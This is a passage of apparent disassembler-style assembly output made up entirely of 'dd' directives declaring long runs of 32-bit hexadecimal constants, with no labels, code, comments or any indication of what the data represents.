		dd 0F2FDB96Eh, 9F24A0BDh, 2AB902FEh, 10FFE65Fh,	94415C66h
		dd 6032C205h, 8986F8E4h, 5D4DB9F6h, 40A70A5Ah, 0ACF0154Fh
		dd 0CF54D48Eh, 0EFFAC178h, 809A4CF1h, 6F64B89Eh, 36755E9Bh
		dd 32B335DEh, 0AA1543C1h, 562A6743h, 2767383Bh,	102EDDE0h
		dd 47C1C33Bh, 0D3697CC3h, 10DB613Dh, 0E2C9AE7Eh, 9ACF664Fh
		dd 71E015F3h, 0C80CD696h, 0ACDE814h, 2C520155h,	202209D7h
		dd 60DEC9F7h, 6CC3392Fh, 63764DFDh, 52C0C39Dh, 0CDE37DE8h
		dd 0C578D053h, 1DBE9B4Dh, 83965609h, 6CD5D1FBh,	457E2388h
		dd 17D6A453h, 0B0EB9A91h, 2AC39D3Fh, 7D6C8267h,	0C0F609E2h
		dd 95C667FBh, 1BAFE3C1h, 10B6D913h, 47C7AF25h, 334DABC6h
		dd 4C8A78CDh, 0D6AAF9FFh, 1817826h, 790E93B6h, 6633C03Ah
		dd 56811F30h, 0E522D4Fh, 0DB7EC4BDh, 0FEB582CAh, 0D32176D3h
		dd 70BD9555h, 38C8C840h, 532323AAh, 83379F9Ch, 0C5B1B6F5h
		dd 552C3C5Ch, 823C36AFh, 0A14655C6h, 79B8D281h,	0C73F5A29h
		dd 0EFF8B7F6h, 70004C03h, 0F145C9BBh, 9F3DE1CFh, 6454F6F8h
		dd 0FC10B8BFh, 485836CEh, 0DECAB1ADh, 0A6276C04h, 0DC51D04Eh
		dd 65E3278Ch, 7685B03h,	7D598AF8h, 0D3061DA4h, 6A639FE3h
		dd 6BF617C7h, 0F1073FD2h, 0BFBD7872h, 61764310h, 0B0F748D5h
		dd 74F1C09Eh, 935641Dh,	6C60FA14h, 0B50C60B2h, 0C1ECB3F9h
		dd 0C9AB036Eh, 0EE8DDF8Eh, 0C2B8FCC7h, 2B44FA57h, 0D166EA78h
		dd 0E859564Ah, 0BC90B749h, 16C3201Dh, 6D78BEDBh, 1415C08Ah
		dd 12E0EC36h, 8330576Eh, 0F17F1899h, 6B5F61FBh,	186F23B5h
		dd 0C969D76h, 6514FDACh, 8529DBDDh, 0E9AB0234h,	1A1D0BBBh
		dd 0F10FC378h, 184BBD12h, 0EAC4407h, 4F779D60h,	8E5A15BAh
		dd 0BD5F0BE7h, 352D9C83h, 12109DB8h, 37D96E97h,	6A617306h
		dd 5DDAD901h, 0C3AF04A8h, 93CAB9E0h, 0F11356B1h, 87FC9AB5h
		dd 0D4B7E59h, 4EC9F034h, 0C12F8A70h, 0DCF5F8Ch,	1BC754E6h
		dd 55A1A7D0h, 2A61F265h, 1C312930h, 0F333B1CAh,	8BA8487Ch
		dd 71DF862h, 0EC04FB7Fh, 427EA4BEh, 5163C547h, 443AD496h
		dd 2105422Eh, 0F993866Fh, 0FAD0C0B4h, 762BD8D3h, 0A9924281h
		dd 80CA8B5Eh, 69B7C57Eh, 88FBEBAFh, 43029790h, 0ECD756FCh
		dd 5957B8D8h, 312A61AAh, 0C4946D0Ah, 0BE588F8Fh, 0C7220B02h
		dd 84CC907Dh, 9249F740h, 7BFD2E7Ch, 0EA3089C1h,	3C24A05Ah
		dd 88B5850Ah, 5C11F01Bh, 169307FDh, 8E793F40h, 15401708h
		dd 0A0A69CDh, 1A028B99h, 2D1645F5h, 0D8EFA873h,	0CCEDDD72h
		dd 16883E56h, 3D1BEAAAh, 0BA44FE7h, 0BEB748D4h,	863EAA60h
		dd 37E3FF7h, 1A89479Dh,	5A9679ABh, 0D554911h, 44806F59h
		dd 59655890h, 83C9A61Ch
		dd 35E26494h, 0C2E97C5Dh, 0CFD4E7D6h, 9C09FEAFh, 872D0A55h
		dd 5C55B4B1h, 0ABE55F51h, 0BFA89A41h, 41E0DC5Fh, 4F7DCCD2h
		dd 58C4C68Ch, 7FB84970h, 682217C2h, 59C045EBh, 14A227C5h
		dd 2437A354h, 70A6BBA6h, 5EB198F5h, 589D87E2h, 0D8CC67D9h
		dd 35A1C1F7h, 7AE03A2Bh, 0E931D3DAh, 6C80DF28h,	3CBBA319h
		dd 7B0E5479h, 0E14334F8h, 180CB96Fh, 53A687E2h,	0F9A855DAh
		dd 14E0994Eh, 0F5EABA2Ah, 745A92C5h, 50AEB762h,	4F5BB31Fh
		dd 0CDABB1B3h, 0FD5CDA01h, 1105DE46h, 95EB76ECh, 0B9C8DBBDh
		dd 21328F67h, 5C2A3B40h, 0E010AEEFh, 0ECB93D8Bh, 0D70D0A80h
		dd 1856A596h, 0DFC9034Ah, 77670F12h, 73A9C74Ch,	0A0B4B05Fh
		dd 6F27E344h, 9402D73Fh, 530F58BDh, 0DF478D04h,	0D8B6488Ch
		dd 322D4A0Eh, 0E524F539h, 12F546F4h, 76C0A536h,	590629D1h
		dd 69EC51BBh, 1F2BAD85h, 238F0C28h, 9241DC6Bh, 0CD2939DFh
		dd 31C0FB7Fh, 92DAB17Ch, 11DD02B9h, 0C9E7E86Ch,	0E81CAE0Dh
		dd 0EBB50C24h, 0D3A63B6Ah, 8B82A338h, 0D163F1E0h, 0BB4B0BCAh
		dd 0EF57E995h, 0D995031Bh, 0E9CC1C88h, 0B5D5BEDEh, 5665D788h
		dd 4C11E61Fh, 0A1703D49h, 96FB52C1h, 147584FBh,	0B51CB47Fh
		dd 28F69BA7h, 4520783Fh, 0C2EE5C0Bh, 471B0D33h,	6ECDFE1Bh
		dd 0A82BBC39h, 8B8217A8h, 54A9137Bh, 0FF608ACEh, 0A18315DFh
		dd 5F07326Ah, 0D2588EE0h, 3FCA9D46h, 0A2E29E69h, 373073F5h
		dd 988FF22Dh, 0B9DFE575h, 7EECC665h, 0C336F85Fh, 7AA76A0Eh
		dd 0B56F1C18h, 0AF5A2B3Ah, 540A4F66h, 9D23EDCAh, 5F2B37D3h
		dd 0F89578h, 9F9DD61h, 0B0AFDCB6h, 5F3AD304h, 81318596h
		dd 658CA63Bh, 50D023CCh, 1AC4859Dh, 0DA4BC7D6h,	3793AE19h
		dd 2A0E46F8h, 0AED7014Eh, 0BE6FDC68h, 7881A9C5h, 495C1DE8h
		dd 0C606064Eh, 0FFC97FD1h, 4ACC5E7Ch, 38B849E6h, 742094CDh
		dd 0A636B0A6h, 306EB401h, 57AAAD14h, 5213E2F7h,	0E801E631h
		dd 2C59857Dh, 0A59A420Bh, 1C7FBF1Dh, 0BD5DA851h, 0EA7A2493h
		dd 0B4B2F790h, 0CD9D3D3h, 0FD548687h, 36F3355Fh, 0CE796024h
		dd 0DC6859F6h, 26CAC2BDh, 0A62207A9h, 0CA788D98h, 0DC082B50h
		dd 0E3F74649h, 6C3C3B4h, 0CCBD7F30h, 1973381Ch,	7AC1DE98h
		dd 191F921Ch, 1BC1BE99h, 50362358h, 0A5A9770h, 0CC851EA1h
		dd 0C8341789h, 44E2F44Fh, 654A3882h, 0D7BE540Bh, 8CC60CFCh
		dd 0C8CA85CEh, 0D528060Fh, 4452D3AAh, 6F07F5ACh, 88E0E352h
		dd 3D910037h, 2F0F2172h, 12A59ED5h, 6DDC66FAh, 4EAE5A18h
		dd 3B534A69h, 0F008D6D4h, 3C1F247Bh, 55D522Bh, 4B5DABFFh
		dd 0A7711466h, 1CB8125Ch, 0B852EA23h, 0E1246AA4h, 2B2DABBCh
		dd 0A75442C8h, 0EC6449E7h, 6457EBF5h, 4C30B354h, 3A127DBFh
		dd 7ED3BE4h, 0C5F98F4Eh, 0F4BB0FE2h, 22A23987h,	0A563103Ah
		dd 8CC6A32Dh, 62AB4E1Ch, 1A16FF81h, 35FE20E7h, 0F44932CAh
		dd 28C93E18h, 5AFBE727h, 2F90F769h, 0F30514D1h,	553DD22Eh
		dd 0A7D7DBFh, 0DA4C29D1h, 8E47276Dh, 0E83E9045h, 7C556524h
		dd 0AA3A57A7h, 8574C3EAh, 28EACB78h, 8A81BA5Dh,	476C1AACh
		dd 0E7BE6668h, 0C60F8A5Bh, 0F50BDA25h, 6074CB6Bh, 95185087h
		dd 357F62C9h, 0BC6C6D6Eh, 19634D6Ch, 0C9744EDDh, 9CC39BD0h
		dd 0E9DDBBB2h, 90C1EE0Dh, 0E95F193Dh, 0FC90EE83h, 8E8EC230h
		dd 568985BEh, 0AB7EDEDFh, 0D15BE270h, 0BF71A7B2h, 5372E7B3h
		dd 9B0FC77Fh, 0BD7E5BBBh, 0A8296EFEh, 0BAE27D5Ah, 48EFA7C0h
		dd 0A0FA3B22h, 0BC25671h, 132DE514h, 0E7FFC732h, 43335344h
		dd 7DCC08B9h, 503A9E99h, 0AC50D1F6h, 24DF9C21h,	0CC4C3B03h
		dd 124D7E03h, 85BECE44h, 1B580A1Ch, 20FFA468h, 4C4D0FEFh
		dd 0F7AA2660h, 45D8AE7h, 0A38715ACh, 2922B584h,	8B34F45Bh
		dd 7FDFCB38h, 19E9473Fh, 0C538E19Bh, 81BDE2F7h,	44166951h
		dd 4EBCB472h, 702FE637h, 91D21847h, 0C25C9D71h,	7AA14ECFh
		dd 20CC5F23h, 5765E81Eh, 3451C41Ah, 0A0A09D6h, 73BE8A89h
		dd 0C53C02C4h, 0ECA43FE5h, 3F042632h, 71022A91h, 49D1F470h
		dd 0BD44AA54h, 2DD13EC9h, 0CB21087Dh, 0C7A494D2h, 8CAA62E7h
		dd 90C2961h, 628C0A73h,	0E84550C4h, 3413A66Ch, 3C10B1E2h
		dd 7B3C12A2h, 3AB3B71Ah, 0FD53AA4Eh, 0EDA52555h, 7D6E0F27h
		dd 0DBCA3673h, 9A77DBBDh, 0C1389666h, 0FA33FA5h, 0BF9700C9h
		dd 0C310204Fh, 6851C88Fh, 4AC1E0F7h, 246BC61Ch,	4DFD6B22h
		dd 195C0F93h, 0ABEAE7A3h, 5A32D963h, 0A7703FA0h, 0BFE937D0h
		dd 0D4C7C5D5h, 31D2AB19h, 0B7DD53C7h, 0DC156C07h, 0A4061E80h
		dd 0A17EDD9Ah, 44896613h, 6BE6B74Ah, 0F995CEA6h, 0CDD7E0C1h
		dd 0B3D2216Ch, 0A2794EC6h, 7EE75392h, 0F90DAED5h, 225E9AB7h
		dd 0E559DCA5h, 3FC36F20h, 64D8FCDBh, 863565F2h,	33FDCAFDh
		dd 0D2B7F2D0h, 1B58B003h, 55085F60h, 98FF4CBEh,	8502C677h
		dd 2EF342BBh, 0EE27137Ah, 0A9B3C0BCh, 29C32285h, 0EA1C5272h
		dd 99EF0F3Fh, 9086711Ah, 0BF0F36AFh, 480BF636h,	5C566C72h
		dd 0E5B95D52h, 2E5EC5EDh, 57885DD0h, 0CF6BA69Ah, 15C5613Dh
		dd 0B9F28BB0h, 0D7DD6702h, 22D869ABh, 3EEF10C9h, 0F6E735CDh
		dd 560F99Dh, 0DEC4E07Ah, 2F24E0EAh, 0BA6DB6B1h,	2E077469h
		dd 5D765740h, 0B586611Bh, 0FD3BDC17h, 45C289A2h, 2E4F9E6Bh
		dd 88CEFE63h, 70943C4Bh, 0C4E0E6Ch, 3C0DBD60h, 0B1BBE493h
		dd 1126A06Ch, 4EED1EE0h, 0DDAA840Ch, 0DE09C89Fh, 6C7E0FF6h
		dd 0BF82DE55h, 0A88C660Ah, 13108D8Ch, 0F9C927AFh, 295CA1A4h
		dd 957BC586h, 0EFFD0AEBh, 0A632A090h, 3A86F3CCh, 0B7D213C7h
		dd 4E6661D5h, 9DA79C63h, 4F9186E3h, 51AA7D1Ah, 13ACEF62h
		dd 3A922D36h, 0D113C49Ch, 332C0B2h, 4482D98Bh, 7DA1B975h
		dd 7A867149h, 804ABBAFh, 896BCCCDh, 0DF290BA7h,	0EB6A5958h
		dd 37E0D7BBh, 8343266Dh, 12D08013h, 1241AA3Ah, 27AF2181h
		dd 7234A07Bh, 97B5E146h, 8F59BC28h, 0D5727FDDh,	0CF0FECB5h
		dd 276A014h, 347EE38Fh,	0F869176Dh, 0ADE3E7B5h,	0FA4A61F5h
		dd 1EE3439Eh, 0CD1D9924h, 1A77E7Ch, 9CE7C42Dh, 6A7DDD22h
		dd 0E0BD5527h, 715EA922h, 0D95BB7DDh, 3A97307Dh, 8F1AF9E9h
		dd 0C176EF83h, 0E4743A55h, 9AF2B885h, 2DB7C42Ch, 59C221C7h
		dd 0CDCF9455h, 0F82D95CEh, 0FDA6E2DEh, 181149DAh, 0C15DBD15h
		dd 397299D9h, 0E71B1F0h, 12D5A520h, 5B95642h, 70D07478h
		dd 2DB30BF5h, 18342F2Ah, 0CAD654EAh, 0A9CE06E8h, 0E6A1ADFh
		dd 0A05A2B56h, 19C4F49Ah, 0E9DF065Ch, 7A2BD47Ch, 0EE84BC21h
		dd 0CCEE0061h, 981CF8F1h, 0CC22E217h, 93304E08h, 7F6319FAh
		dd 7ACF2AD1h, 0EC998BD4h, 38301897h, 9956DE22h,	0B55B0F1Bh
		dd 2D958969h, 5E071C8Eh, 175CC1E9h, 54666F69h, 90200981h
		dd 54CBDCBCh, 4F746A54h, 808CF41Ch, 0D8997E8Dh,	0E77F48D9h
		dd 0B46C55CDh, 0C6E54ACCh, 0EC994E96h, 0A04DB9E3h, 79217A49h
		dd 338C6907h, 22D15471h, 0D986B9A4h, 0BB139546h, 19F3C4BFh
		dd 3E5C194Ch, 0D832BC46h, 7043B65Bh, 1DCF3FE9h,	0FC246BCFh
		dd 0BD66234Dh, 0D8B2C117h, 58468FE1h, 0F1F88120h, 379E7273h
		dd 4F93571Bh, 3C93EB40h, 2B51BCAFh, 0EEA2941Ch,	0F46382DCh
		dd 4789748Dh, 0A993D638h, 0CBE98BF3h, 0D6F669DAh, 560571A9h
		dd 0ADBDB13h, 0A937E8D4h, 0A45C1158h, 4381A56Fh, 209D4918h
		dd 7CD05EE3h, 0E2CA967Ah, 78D76CAFh, 0FB2E420Dh, 91865AD9h
		dd 0D3F0935h, 57B7172Dh
		dd 0B4138585h, 0EA50C54Bh, 1399B161h, 54E93B3Ah, 2E35C970h
		dd 0BF8739DFh, 58939CBBh, 37B4F54Ah, 0EC80B45Ah, 7F669980h
		dd 7BBF802Bh, 54237972h, 4F882D82h, 8F059574h, 0D4465903h
		dd 0E6AE263Ah, 0CCB2E6C3h, 733098ADh, 0F1570DEBh, 14852C49h
		dd 0D5D692CDh, 876DE3F0h, 960435E8h, 91DDA2C2h,	0E0BA11D7h
		dd 0DCE586A7h, 7A116A7h, 0DB29DD93h, 162A287Eh,	95EF6700h
		dd 0CDDCC4C6h, 8BEBC7DCh, 0C37C750Dh, 126EBE91h, 81C579EDh
		dd 0E8060830h, 59DB2D1h, 2CA55709h, 0A0B9CBDFh,	0F1EF2282h
		dd 0F0434D49h, 0E6B3D1C9h, 0E608612Ah, 0A74D506h, 0B4D4CC0Fh
		dd 85E5B2E4h, 26FD9689h, 61878617h, 82743E6Ah, 3EA287DBh
		dd 451B2A1Eh, 6C23C17Eh, 0EEC2E16Fh, 0E24C2867h, 7188F706h
		dd 0BB23A045h, 60B1F51Bh, 0FA4F9C7Fh, 0FD199727h, 98D4D1DBh
		dd 0CEC2AF92h, 1252691Fh, 97D986FEh, 83A661AFh,	0E97B35D9h
		dd 0D5F33A9h, 74681ED5h, 0D955F1FDh, 9F6019C7h,	0B0928DDCh
		dd 0C9E65B65h, 0D48C7669h, 3C9CABDCh, 9FEF0895h, 0C3604FDCh
		dd 0F51807CCh, 5C0B6262h, 2E49859Fh, 7607F0F3h,	3ACE1A02h
		dd 2478CC78h, 936E31DFh, 5A0F040Dh, 35A44DAEh, 7A7C942Ch
		dd 7603C9B1h, 0FF430DE5h, 95ADED45h, 0BA9F8654h, 0E5CC01AEh
		dd 0E71ECC98h, 0E8BCB028h, 0DEF728BFh, 0F2E31BDEh, 0D1D28BB9h
		dd 0F53E6803h, 1DE2081Ah, 0A5DB1B57h, 0E3D2AF9Ch, 0D247B404h
		dd 0D1E5FFECh, 2581278Ch, 0A6EB0B27h, 0B93687A8h, 0F6A7A457h
		dd 0D2E3226Bh, 0EAA14421h, 0ACD0174h, 0AB07E854h, 0FA87CECBh
		dd 0AE2B121Dh, 0A31B469Bh, 22CB2998h, 27F2F95Fh, 0C5C3F1F5h
		dd 6BEFCADEh, 0E5CCC680h, 0D27152FCh, 3B2A6B0Eh, 5ED77D7h
		dd 18613CC8h, 0AD77836Ah, 1BC1CD15h, 0F48D11F0h, 75682172h
		dd 936CA502h, 0A157CB04h, 0D7BA1558h, 1386F3A7h, 0AE26AA84h
		dd 0CBDFAD60h, 11B8559h, 8ABC8FC3h, 0FFB54636h,	0EBF2F55Dh
		dd 0B7956C2h, 6D3E4EEFh, 0B2BD4D8Dh, 709367Dh, 57A2A1EDh
		dd 0FECD0F23h, 0FC62E9BCh, 429B6BC9h, 0EDDF16F0h, 0AB17E56Ch
		dd 17B95D65h, 0FC72831Bh, 5BA10EA9h, 62FC1060h,	83807440h
		dd 0F24CCE36h, 284E59C7h, 7F9B4D24h, 9CFBC611h,	0ECFDB6B3h
		dd 6299441Bh, 0C4F8C5EFh, 0B51C4C48h, 9BE5D115h, 0E57E7262h
		dd 8164C24Ch, 0A45C339Fh, 0D44E32E6h, 0B6AC1AB4h, 0C0F1E355h
		dd 9C02D770h, 0C1126B8Fh, 2B3666E2h, 0E01C8ED8h, 368D2E19h
		dd 0FA411171h, 5AEF38DCh, 2DBE6E3Ah, 0DE54B4B1h, 302DBC85h
		dd 0DF8BC6Ah, 0E0F289F1h, 0BFCFA31Ch, 7D28601Ch, 0BCDB7517h
		dd 11F118B6h, 14174814h, 62E4BA2Ch, 268D5E8Bh, 95767EFCh
		dd 774390DEh, 259EDD22h, 53DD178Ah, 0C4A7F572h,	0EB79AFBEh
		dd 0ACC24CC6h, 0B12F3AC9h, 12D8854h, 2F51705Fh,	0A0086E80h
		dd 0C1A0326Dh, 269CAFh,	161F9483h, 5EC67D3Eh, 0E934DA78h
		dd 0D8C891FBh, 0E83BD7B8h, 14672290h, 220CAB48h, 1EA9E3AAh
		dd 574F7EE9h, 33F2B486h, 7FED60FBh, 2C5CE326h, 0D524E0DCh
		dd 0F00CBFECh, 7E24FFDCh, 17C6AA50h, 8C48ABA0h,	77F58705h
		dd 623A92DFh, 0EA6B9F6Bh, 0CA19655Eh, 0F3CAB34Dh, 66E8198h
		dd 75357FB4h, 9923F73Dh, 0B1A6B7E8h, 706A324Fh,	2358864Ch
		dd 0A90DBE10h, 62EB6E10h, 0A5502BD1h, 0D0401B65h, 6F87731Ah
		dd 9E48A929h, 7B05BC5Bh, 397DD0CFh, 3E7F8E48h, 24D85717h
		dd 0BF22D502h, 690B9E28h, 95EA87BCh, 0B3243172h, 835409CAh
		dd 3B6BCA36h, 7958268Ch, 2CCD044Bh, 2EB6552Fh, 712A768Ch
		dd 7BAF8F62h, 65E889E2h, 1428DEBEh, 1E15414Dh, 3D8EADBCh
		dd 15DDD2FCh, 0DD852A83h, 8FBE6D8Ch, 21F94AEAh,	7100F57Fh
		dd 0AAC05D25h, 219718E5h, 0AE411BEBh, 884E5DDh,	7FD3D7ACh
		dd 9B67AE67h, 6AFAF266h, 280A636Eh, 0F9CD2668h,	74CF0EEh
		dd 72A353E6h, 0BC1E821Ah, 0D2627CA4h, 0C33D79Eh, 0A72056E9h
		dd 0E9AF3996h, 5AF2DF9Bh, 0B0BB1CF6h, 0DBBB2A2Bh, 614AFDEDh
		dd 18C1AFF8h, 2F7EDE83h, 0D8E9A3C1h, 2AFCCE58h,	0E9463B8h
		dd 298C65Eh, 578169BEh,	619DA674h, 51721C28h, 0ABF8AE66h
		dd 4F7461F9h, 7050D224h, 3A12B19Bh, 0AF0CEBAAh,	5B4D5587h
		dd 8293DAB9h, 3EE2E6C1h, 0A7A55F1Eh, 77EEBC9Bh,	0E5C1F45Ah
		dd 0C1E37A30h, 0F8ACB4FBh, 91CC66A6h, 2964AF5Dh, 0C03AA9E1h
		dd 5C37798Bh, 735C4B84h, 5CA1CBE1h, 0EF90B7FAh,	196904E8h
		dd 0EBFE59B9h, 335BC09Dh, 0E45B4447h, 52E4E79Ch, 70210134h
		dd 0AF0C2B5Ah, 526F5E94h, 9B68FCA9h, 3420FAD5h,	0AE10BBABh
		dd 71FFB5A9h, 35571511h, 5E2AE37Fh, 688801Dh, 51814C84h
		dd 13362A53h, 266FF3A3h, 0F4C883E8h, 397B6970h,	4C4FDA77h
		dd 916EF687h, 0C5758BDAh, 0B76C3DDBh, 0B98AC0EFh, 0D926BD58h
		dd 0F36DEE60h, 0D0376284h, 2642E87Dh, 0BDEC2480h, 0C4E17A1Ah
		dd 0D9FD9D47h, 5AC99EF6h, 6310777Ch, 97F1F9FEh,	0A6610E28h
		dd 5F318BDCh, 0D514062Eh, 17B81347h, 93759912h,	0DE6407E4h
		dd 0B5E9209Eh, 0B8663BB0h, 277D8437h, 0A7872C2Dh, 98161B2Eh
		dd 0C054AECAh, 14D4C214h, 9FC6F88h, 0E21441BDh,	781E8200h
		dd 2ED276F7h, 0C8491418h, 0EF7577F3h, 0DA2B8F4Bh, 690FB935h
		dd 6C0F4A8Dh, 4769F075h, 5D3C0A3h, 9B407932h, 7E191153h
		dd 63E83DECh, 73EC92CEh, 0C26482E8h, 0B3FB9D13h, 0E6348BFDh
		dd 946AD13Ch, 764F34A9h, 233FF9D8h, 0A6BEF1A8h,	49860690h
		dd 2ADF794Fh, 0C95C97C4h, 8736E8E1h, 0D2E50D83h, 574BCB49h
		dd 93AF1572h, 0D304E291h, 5FD3E1AFh, 0E11B07F8h, 0D3625588h
		dd 0A10D1DA5h, 8CEBF5DEh, 0CB783677h, 3C605444h, 89006A64h
		dd 3D5B2B6Ah, 2D6D1201h, 77DA5994h, 1E131666h, 0F91D267h
		dd 6C92AF0Dh, 544DED15h, 0B0ED193Eh, 0F773762Dh, 31E4D466h
		dd 0DAB14753h, 0A7E1BC12h, 0BD12F014h, 0F851381Ch, 684C6A99h
		dd 7C7CE144h, 0C101FAA3h, 8B620C0Fh, 39846A01h,	0C9D2357Fh
		dd 5178F7A0h, 493D7EBCh, 2A8594F0h, 1CB5FD8Dh, 211907B1h
		dd 4826D0A5h, 0D9469207h, 1B51766Ch, 33E3EF46h,	35C85009h
		dd 0EF2DAA39h, 4F5031F5h, 17DB924Bh, 8B58A5E1h,	0FD1FA9E4h
		dd 0BEFC0119h, 0D3829772h, 0F0E40141h, 49A6F08Ch, 0C3508F23h
		dd 12923340h, 0F25C626h, 0C3AD2E59h, 1ED716B2h,	4D6FE58Ch
		dd 52BAC1B2h, 0C0A20284h, 7F8F3491h, 0E94C731Ah, 0BD7E1E2Ch
		dd 3AEE7A5Ah, 0B5D5DC8Ch, 0AB601EE1h, 754A9274h, 6B1E04A0h
		dd 6A4E45BBh, 98D13B4Bh, 762D4557h, 9376CD1h, 11E76735h
		dd 13A5B9B3h, 22F9D48h,	746358A6h, 1BC6A430h, 1B23F89Ch
		dd 8D96679Ah, 0ABCC41CAh, 0BA4D71F9h, 0DE97B259h, 0E23782F1h
		dd 6EA93ECFh, 0E67D21B3h, 0DE0C00DDh, 10E25ED5h, 0E61A5C8Ch
		dd 6013E3BEh, 2F64972Fh, 2C7DD36Dh, 0A6D32A85h,	9348FEC1h
		dd 87B8EB74h, 7933B110h, 0D5A79F4Ah, 0DE0E6C14h, 2EA4ED5Eh
		dd 0A92C0640h, 0B49A1905h, 0C607421Bh, 0B2ECEC6Eh, 97698951h
		dd 37657C64h, 1D173745h, 3A0E5E66h, 74DE344Ah, 0B4AF4EA4h
		dd 7950B8A1h, 0BFDFEA46h, 3702062Bh, 0E47A3DCh,	0BF7D0C4Ah
		dd 0EFE4BB66h, 7C0D1517h, 0AC6E7F95h, 87F3834Bh, 0E3832371h
		dd 0FF9C1179h, 77F2A0C7h, 0D0B0D350h, 65E58512h, 904ECCBDh
		dd 0F5A824Ah, 4B58E727h, 368BBCB9h, 6C7997B5h, 0FE8B8625h
		dd 8733EC39h, 0AA1F6C02h, 43D56674h, 0AF53EF97h, 6279473Bh
		dd 8AF79031h, 0BB5F87A3h
		dd 0B89A86DCh, 0DF099287h, 0EACE99B1h, 0F532189h, 6AE3525Bh
		dd 822AE78Ah, 6A49116Bh, 5E21C08Dh, 990B7F37h, 17D46D21h
		dd 71134F05h, 4A7C8E62h, 0D4A8799h, 549C63C4h, 0E2EA348Eh
		dd 0EDEB4234h, 0DC035F57h, 7E8E41FFh, 50A57886h, 59F8FFF5h
		dd 0AC73D72Ah, 0D8ABB06Bh, 0B7B04EB7h, 5A73E00Eh, 0B35BD1CBh
		dd 0AD0F4E7Ch, 0A9143CB4h, 3A87B252h, 0ECD76C5Fh, 0B00B281Dh
		dd 78625607h, 5F83A2B7h, 0E8BEF1E1h, 2CEBAC32h,	88AEBB10h
		dd 441100FCh, 9542A369h, 0D7EF39C0h, 0A4C6B6E4h, 0EE793489h
		dd 22D6A8C0h, 7B3F5E89h, 0DE34F397h, 415BBEFFh,	0AF79C91h
		dd 1551A248h, 7CDD37BCh, 1E90049Fh, 24B07896h, 759E98ADh
		dd 1BE7740Dh, 0D30A74D7h, 430DC601h, 9D1DF7D9h,	0D599ADE4h
		dd 29D79CE4h, 685777CEh, 95F590C1h, 1F9D05E3h, 7926C0ADh
		dd 8492EAEEh, 0A5423992h, 0C584BA6Dh, 0EDEEEF63h, 3A2B7128h
		dd 0F40780ECh, 9036B17Dh, 8DC070BDh, 0B5275695h, 3187C73Ah
		dd 190EBDE7h, 8172001Bh, 0D3970F68h, 84E9C76Fh,	566EED07h
		dd 0AA8084EEh, 0A20BFD9Eh, 58980CB3h, 0F3B34FCFh, 7CEC0998h
		dd 0FECDF622h, 0BEF82A7Ch, 16ACEF18h, 84A13ED2h, 0DDBC3A27h
		dd 0FBB47459h, 91DD10B7h, 587E391Ah, 0A3626F5Ch, 3B46B6F4h
		dd 570BF29Dh, 3AB789Fh,	8F8D0A52h, 0E0FF1516h, 0E99B68BDh
		dd 2D944897h, 0DE58D799h, 341996B8h, 397DE4B2h,	0A0CE4977h
		dd 0E504E285h, 7FFD66D6h, 0DFA22780h, 0FC1C9A1Bh, 0AFF90DA6h
		dd 63C2385Bh, 399BFA5Eh, 36852621h, 2E32ACCCh, 6E1E8B4Ch
		dd 0E69F0ECBh, 642A9067h, 0A8743470h, 7404F684h, 2039E51Ah
		dd 2FDA0ADh, 0F8C6F1Fh,	5DF204C1h, 8470C207h, 0A174201Fh
		dd 316697F9h, 3E0A7DABh, 25F45D45h, 76857024h, 0FB2F3E4h
		dd 0C04FEEAh, 1ED679CAh, 0BA41699Bh, 0CE61E35h,	8BE99133h
		dd 79B8D54Fh, 5F2E2775h, 914C30E9h, 696BA34Ch, 0B55E4C7Dh
		dd 7BA1E85Ch, 302E1D20h, 7B73585Ch, 2CDC7236h, 0F1FC2774h
		dd 561AAA53h, 0E5DFA593h, 6809B1A7h, 524BBD53h,	8CE3244Fh
		dd 826068A8h, 0ECF49F2Eh, 1B59B2DCh, 0A93BC088h, 1B35152Ch
		dd 89E871B3h, 501A132Fh, 1CD550ADh, 417D5285h, 9B73359Ch
		dd 1CD12648h, 1AE7531h,	2CD711F1h, 0C7EE2B4Dh, 0D016C2D4h
		dd 0F9C60808h, 25A9DEB3h, 0ABD50E29h, 0F592F824h, 0EEB55A21h
		dd 74979B32h, 9F989387h, 177A7130h, 5962D662h, 22F81A81h
		dd 0EB37A208h, 0E5A80Bh, 774D07F8h, 553057A7h, 0FE1FD246h
		dd 0EB680BCBh, 8291996Bh, 0C0C00BAAh, 0F3B95415h, 0DA3E1159h
		dd 7A1FCBA1h, 0DADA6FFAh, 0E8841082h, 29D87FB1h, 194ADB8Eh
		dd 88AD557h, 1166E48Dh,	95B2D9A9h, 0DC086734h, 7A1E0445h
		dd 0F8FDBDCEh, 6BCDFDFBh, 9E709DA3h, 0EB60B46Dh, 0B7F2ED3Dh
		dd 0F5C1271Ch, 182CE6E7h, 91343395h, 0BC64B1D9h, 3A3745BCh
		dd 97E4DEA4h, 0D6D16F1Ah, 53E7DC94h, 0CEC4BDC4h, 2C34F32Bh
		dd 0E2E7687Eh, 2FBFD01Ah, 3FFB3FCDh, 6D6B8D58h,	0F92483C0h
		dd 47B430C8h, 8C5C9FF7h, 13199FABh, 0A5FC4D74h,	9C50AE28h
		dd 475DE728h, 34FE2F02h, 67C7855Dh, 44D86B43h, 40576504h
		dd 214D665Dh, 0CD4F6647h, 45FC1998h, 4036B757h,	0AA5B261Eh
		dd 2EEFA438h, 3486B6C7h, 394FC3C7h, 0B7D4DBE7h,	0D1317887h
		dd 689A36CDh, 47A24632h, 0EFF04D7Ch, 1A061AE1h,	0A8AADB81h
		dd 7A7C84A8h, 0E4332AFDh, 0AB625F49h, 0F70CA9EFh, 7A61BFF1h
		dd 9B28AF75h, 9E5E3AF4h, 862D9F16h, 0AAE78567h,	44283EDh
		dd 46DA0ADCh, 608BDBF7h, 960E09E4h, 9FB6979Ah, 0A036392Dh
		dd 109D40B1h, 3722D524h, 16312193h, 0D92AE48Ah,	0B118A06Ch
		dd 168404A4h, 843F6CDFh, 0B94E1050h, 9D4D2ED3h,	0FDD94A2Fh
		dd 416C29ADh, 864F919h,	4D2083D0h, 0E5F33807h, 0BCD3B37Dh
		dd 2BEB86DBh, 0AE7AD18Ch, 0F0613CB0h, 0C6022938h, 0F31BF01Bh
		dd 5AA0B856h, 9B604F0Dh, 16284C1h, 0A4BAAC71h, 0CD1B9701h
		dd 9188A919h, 0CAA4E5B3h, 0E9FC348Bh, 0FF9645C2h, 3DF24B5Eh
		dd 0DD86DEF4h, 71CB6D84h, 9CB881CEh, 6A0921F6h,	474D110Ch
		dd 82C1C08Eh, 4504BF76h, 7739BC83h, 0DA7E7555h,	0D83A8DEAh
